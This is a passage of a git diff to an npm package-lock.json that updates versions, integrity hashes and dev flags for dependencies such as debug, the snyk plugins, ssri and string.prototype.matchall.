"https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" + } + }, + "lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "requires": { + "yallist": "^3.0.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true }, - "snyk-module": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-2.1.0.tgz", - "integrity": "sha512-K5xeA39vLbm23Y/29wFEhKGvo7FwV4x9XhCP5gB22dBPyYiCCNiDERX4ofHQvtM6q96cL0hIroMdlbctv/0nPw==", + "snyk-try-require": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/snyk-try-require/-/snyk-try-require-2.0.1.tgz", + "integrity": "sha512-VCOfFIvqLMXgCXEdooQgu3A40XYIFBnj0X8Y01RJ5iAbu08b4WKGN/uAKaRVF30dABS4EcjsalmCO+YlKUPEIA==", + "dev": true, "requires": { - "@types/hosted-git-info": "^2.7.0", - "@types/node": "^6.14.7", - "debug": "^3.1.0", - "hosted-git-info": "^2.7.1" - }, - "dependencies": { - "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", - "requires": { - "ms": "^2.1.1" - } - } + "debug": "^4.1.1", + "lodash.clonedeep": "^4.3.0", + "lru-cache": "^5.1.1" } + }, + "yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true } } }, "snyk-python-plugin": { - "version": "1.17.1", - "resolved": "https://registry.npmjs.org/snyk-python-plugin/-/snyk-python-plugin-1.17.1.tgz", - "integrity": "sha512-KKklat9Hfbj4hw2y63LRhgmziYzmyRt+cSuzN5KDmBSAGYck0EAoPDtNpJXjrIs1kPNz28EXnE6NDnadXnOjiQ==", + "version": "1.19.8", + "resolved": "https://registry.npmjs.org/snyk-python-plugin/-/snyk-python-plugin-1.19.8.tgz", + "integrity": "sha512-LMKVnv0J4X/qHMoKB17hMND0abWtm9wdgI4xVzrOcf2Vtzs3J87trRhwLxQA2lMoBW3gcjtTeBUvNKaxikSVeQ==", + "dev": true, "requires": { "@snyk/cli-interface": "^2.0.3", + "snyk-poetry-lockfile-parser": "^1.1.6", "tmp": "0.0.33" } }, "snyk-resolve": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/snyk-resolve/-/snyk-resolve-1.0.1.tgz", - "integrity": "sha512-7+i+LLhtBo1Pkth01xv+RYJU8a67zmJ8WFFPvSxyCjdlKIcsps4hPQFebhz+0gC5rMemlaeIV6cqwqUf9PEDpw==", + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/snyk-resolve/-/snyk-resolve-1.1.0.tgz", + "integrity": "sha512-OZMF8I8TOu0S58Z/OS9mr8jkEzGAPByCsAkrWlcmZgPaE0RsxVKVIFPhbMNy/JlYswgGDYYIEsNw+e0j1FnTrw==", + "dev": true, "requires": { - "debug": "^3.1.0", - "then-fs": "^2.0.0" + "debug": "^4.1.1", + "promise-fs": "^2.1.1" }, "dependencies": { "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true } } }, "snyk-resolve-deps": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/snyk-resolve-deps/-/snyk-resolve-deps-4.4.0.tgz", - "integrity": "sha512-aFPtN8WLqIk4E1ulMyzvV5reY1Iksz+3oPnUVib1jKdyTHymmOIYF7z8QZ4UUr52UsgmrD9EA/dq7jpytwFoOQ==", + "version": "4.7.2", + "resolved": "https://registry.npmjs.org/snyk-resolve-deps/-/snyk-resolve-deps-4.7.2.tgz", + "integrity": "sha512-Bmtr7QdRL2b3Js+mPDmvXbkprOpzO8aUFXqR0nJKAOlUVQqZ84yiuT0n/mssEiJJ0vP+k0kZvTeiTwgio4KZRg==", + "dev": true, "requires": { - "@types/node": "^6.14.4", - "@types/semver": "^5.5.0", "ansicolors": "^0.3.2", - "debug": "^3.2.5", + "debug": "^4.1.1", "lodash.assign": "^4.2.0", "lodash.assignin": "^4.2.0", "lodash.clone": "^4.5.0", @@ -15599,39 +19470,27 @@ "lodash.set": "^4.3.2", "lru-cache": "^4.0.0", "semver": "^5.5.1", - "snyk-module": "^1.6.0", + "snyk-module": "^3.1.0", "snyk-resolve": "^1.0.0", "snyk-tree": "^1.0.0", "snyk-try-require": "^1.1.1", "then-fs": "^2.0.0" }, "dependencies": { - "@types/node": { - "version": "6.14.11", - "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz", - "integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA==" - }, "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "snyk-module": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-1.9.1.tgz", - "integrity": "sha512-A+CCyBSa4IKok5uEhqT+hV/35RO6APFNLqk9DRRHg7xW2/j//nPX8wTSZUPF8QeRNEk/sX+6df7M1y6PBHGSHA==", - "requires": { - "debug": "^3.1.0", - "hosted-git-info": "^2.7.1" - } + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true } } }, @@ -15639,6 +19498,7 @@ "version": "2.11.0", "resolved": "https://registry.npmjs.org/snyk-sbt-plugin/-/snyk-sbt-plugin-2.11.0.tgz", "integrity": "sha512-wUqHLAa3MzV6sVO+05MnV+lwc+T6o87FZZaY+43tQPytBI2Wq23O3j4POREM4fa2iFfiQJoEYD6c7xmhiEUsSA==", + "dev": true, "requires": { "debug": "^4.1.1", "semver": "^6.1.2", @@ -15648,27 +19508,31 @@ }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true }, "tmp": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz", "integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==", + "dev": true, "requires": { "rimraf": "^2.6.3" } @@ -15679,6 +19543,7 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/snyk-tree/-/snyk-tree-1.0.0.tgz", "integrity": "sha1-D7cxdtvzLngvGRAClBYESPkRHMg=", + "dev": true, "requires": { "archy": "^1.0.0" } @@ -15687,6 +19552,7 @@ "version": "1.3.1", "resolved": "https://registry.npmjs.org/snyk-try-require/-/snyk-try-require-1.3.1.tgz", "integrity": "sha1-bgJvkuZK9/zM6h7lPVJIQeQYohI=", + "dev": true, "requires": { "debug": "^3.1.0", "lodash.clonedeep": "^4.3.0", @@ -15695,17 +19561,19 @@ }, "dependencies": { "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, "requires": { "ms": "^2.1.1" } }, "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true } } }, @@ -15760,45 +19628,94 @@ } } }, - "socks": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/socks/-/socks-2.3.3.tgz", - "integrity": "sha512-o5t52PCNtVdiOvzMry7wU4aOqYWL0PeCXRWBEiJow4/i/wr+wpsJQ9awEu1EonLIqsfGd5qSgDdxEOvCdmBEpA==", - "requires": { - "ip": "1.1.5", - "smart-buffer": "^4.1.0" - } + "source-list-map": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", + "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==", + "dev": true }, - "socks-proxy-agent": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-4.0.2.tgz", - "integrity": "sha512-NT6syHhI9LmuEMSK6Kd2V7gNv5KFZoLE7V5udWmn0de+3Mkj3UMA/AJPLyeNUVmElCurSHtUdM3ETpR3z770Wg==", + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=" + }, + "source-map-loader": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-1.1.3.tgz", + "integrity": "sha512-6YHeF+XzDOrT/ycFJNI53cgEsp/tHTMl37hi7uVyqFAlTXW109JazaQCkbc+jjoL2637qkH1amLi+JzrIpt5lA==", "requires": { - "agent-base": "~4.2.1", - "socks": "~2.3.2" + "abab": "^2.0.5", + "iconv-lite": "^0.6.2", + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0", + "source-map": "^0.6.1", + "whatwg-mimetype": "^2.3.0" }, "dependencies": { - "agent-base": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.2.1.tgz", - "integrity": "sha512-JVwXMr9nHYTUXsBFKUqhJwvlcYU/blreOEUkhNR2eXZIvwd+c+o5V4MgDPKWnMS/56awN3TRzIP+KoPn+roQtg==", + "@types/json-schema": { + "version": "7.0.7", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.7.tgz", + "integrity": "sha512-cxWFQVseBm6O9Gbw1IWb8r6OS4OhSt3hPZLkFApLjM8TEXROBuQGLAH2i2gZpcXdLBIrpXuTDhH7Vbm1iXmNGA==" + }, + "ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==" + }, + "iconv-lite": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.2.tgz", + "integrity": "sha512-2y91h5OpQlolefMPmUlivelittSWy0rP+oYVpn6A7GwVHNE8AWzoYOBNmlwks3LobaJxgHCYZAnyNo2GgpNRNQ==", + "requires": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + } + }, + "json5": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", + "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", + "requires": { + "minimist": "^1.2.5" + } + }, + "loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", + "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "schema-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.0.0.tgz", + "integrity": "sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA==", "requires": { - "es6-promisify": "^5.0.0" + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" } } }, - "source-list-map": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", - "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==", - "dev": true - }, - "source-map": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=" - }, "source-map-resolve": { "version": "0.5.3", "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz", @@ -15816,6 +19733,7 @@ "version": "0.5.19", "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "dev": true, "requires": { "buffer-from": "^1.0.0", "source-map": "^0.6.0" @@ -15824,7 +19742,8 @@ "source-map": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true } } }, @@ -15947,7 +19866,8 @@ "split-ca": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/split-ca/-/split-ca-1.0.1.tgz", - "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=" + "integrity": "sha1-bIOv82kvphJW4M0ZfgXp3hV2kaY=", + "dev": true }, "split-string": { "version": "3.1.0", @@ -15961,12 +19881,14 @@ "sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", - "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=" + "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", + "dev": true }, "ssh2": { "version": "0.8.9", "resolved": "https://registry.npmjs.org/ssh2/-/ssh2-0.8.9.tgz", "integrity": "sha512-GmoNPxWDMkVpMFa9LVVzQZHF6EW3WKmBwL+4/GeILf2hFmix5Isxm7Amamo8o7bHiU0tC+wXsGcUXOxp8ChPaw==", + "dev": true, "requires": { "ssh2-streams": "~0.4.10" } @@ -15975,6 +19897,7 @@ "version": "0.4.10", "resolved": "https://registry.npmjs.org/ssh2-streams/-/ssh2-streams-0.4.10.tgz", "integrity": "sha512-8pnlMjvnIZJvmTzUIIA5nT4jr2ZWNNVHwyXfMGdRJbug9TpI3kd99ffglgfSWqujVv/0gxwMsDn9j9RVst8yhQ==", + "dev": true, "requires": { "asn1": "~0.2.0", "bcrypt-pbkdf": "^1.0.2", @@ -15999,20 +19922,14 @@ } }, "ssri": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.1.tgz", - "integrity": "sha512-3Wge10hNcT1Kur4PDFwEieXSCMCJs/7WvSACcrMYrNp+b8kDL1/0wJch5Ni2WrtwEa2IO8OsVfeKIciKCDx/QA==", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.2.tgz", + "integrity": "sha512-cepbSq/neFK7xB6A50KHN0xHDotYzq58wWCa5LeWqnPrHG8GzfEjO/4O8kpmcGW+oaxkvhEJCWgbgNk4/ZV93Q==", "dev": true, "requires": { "figgy-pudding": "^3.5.1" } }, - "state-toggle": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/state-toggle/-/state-toggle-1.0.3.tgz", - "integrity": "sha512-d/5Z4/2iiCnHw6Xzghyhb+GcmF89bxwgXG60wjIiZaxnymbyOmI8Hk4VqHXiVVp6u2ysaskFfXg3ekCj4WNftQ==", - "dev": true - }, "static-extend": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", @@ -16037,7 +19954,8 @@ "statuses": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", - "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" + "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", + "dev": true }, "stdout-stream": { "version": "1.4.1", @@ -16061,7 +19979,8 @@ "stream-buffers": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-3.0.2.tgz", - "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ==" + "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ==", + "dev": true }, "stream-each": { "version": "1.2.3", @@ -16089,12 +20008,14 @@ "stream-shift": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz", - "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==" + "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==", + "dev": true }, "stream-to-array": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/stream-to-array/-/stream-to-array-2.3.0.tgz", "integrity": "sha1-u/azn19D7DC8cbq8s3VXrOzzQ1M=", + "dev": true, "requires": { "any-promise": "^1.1.0" } @@ -16103,6 +20024,7 @@ "version": "2.2.0", "resolved": "https://registry.npmjs.org/stream-to-promise/-/stream-to-promise-2.2.0.tgz", "integrity": "sha1-se2y4cjLESidG1A8CNPyrvUeZQ8=", + "dev": true, "requires": { "any-promise": "~1.3.0", "end-of-stream": "~1.1.0", @@ -16113,6 +20035,7 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.1.0.tgz", "integrity": "sha1-6TUyWLqpEIll78QcsO+K3i88+wc=", + "dev": true, "requires": { "once": "~1.3.0" } @@ -16121,6 +20044,7 @@ "version": "1.3.3", "resolved": "https://registry.npmjs.org/once/-/once-1.3.3.tgz", "integrity": "sha1-suJhVXzkwxTsgwTz+oJmPkKXyiA=", + "dev": true, "requires": { "wrappy": "1" } @@ -16130,12 +20054,14 @@ "streamsearch": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/streamsearch/-/streamsearch-0.1.2.tgz", - "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=" + "integrity": "sha1-gIudDlb8Jz2Am6VzOOkpkZoanxo=", + "dev": true }, "string-width": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "dev": true, "requires": { "code-point-at": "^1.0.0", "is-fullwidth-code-point": "^1.0.0", @@ -16143,17 +20069,116 @@ } }, "string.prototype.matchall": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.2.tgz", - "integrity": "sha512-N/jp6O5fMf9os0JU3E72Qhf590RSRZU/ungsL/qJUYVTNv7hTG0P/dbPjxINVN9jpscu3nzYwKESU3P3RY5tOg==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.4.tgz", + "integrity": "sha512-pknFIWVachNcyqRfaQSeu/FUfpvJTe4uskUSZ9Wc1RijsPuzbZ8TyYT8WCNnntCjUEqQ3vUHMAfVj2+wLAisPQ==", "dev": true, "requires": { + "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.17.0", + "es-abstract": "^1.18.0-next.2", "has-symbols": "^1.0.1", - "internal-slot": "^1.0.2", - "regexp.prototype.flags": "^1.3.0", - "side-channel": "^1.0.2" + "internal-slot": "^1.0.3", + "regexp.prototype.flags": "^1.3.1", + "side-channel": "^1.0.4" + }, + "dependencies": { + "es-abstract": { + "version": "1.18.0", + "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", + "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "get-intrinsic": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.2", + "is-callable": "^1.2.3", + "is-negative-zero": "^2.0.1", + "is-regex": "^1.1.2", + "is-string": "^1.0.5", + "object-inspect": "^1.9.0", + "object-keys": "^1.1.1", + "object.assign": "^4.1.2", + "string.prototype.trimend": "^1.0.4", + "string.prototype.trimstart": "^1.0.4", + "unbox-primitive": "^1.0.0" + }, + "dependencies": { + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + } + } + }, + "is-callable": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", + "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", + "dev": true + }, + "is-regex": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", + "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "has-symbols": "^1.0.1" + } + }, + "object-inspect": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", + "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", + "dev": true + }, + "object.assign": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", + "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", + "dev": true, + "requires": { + 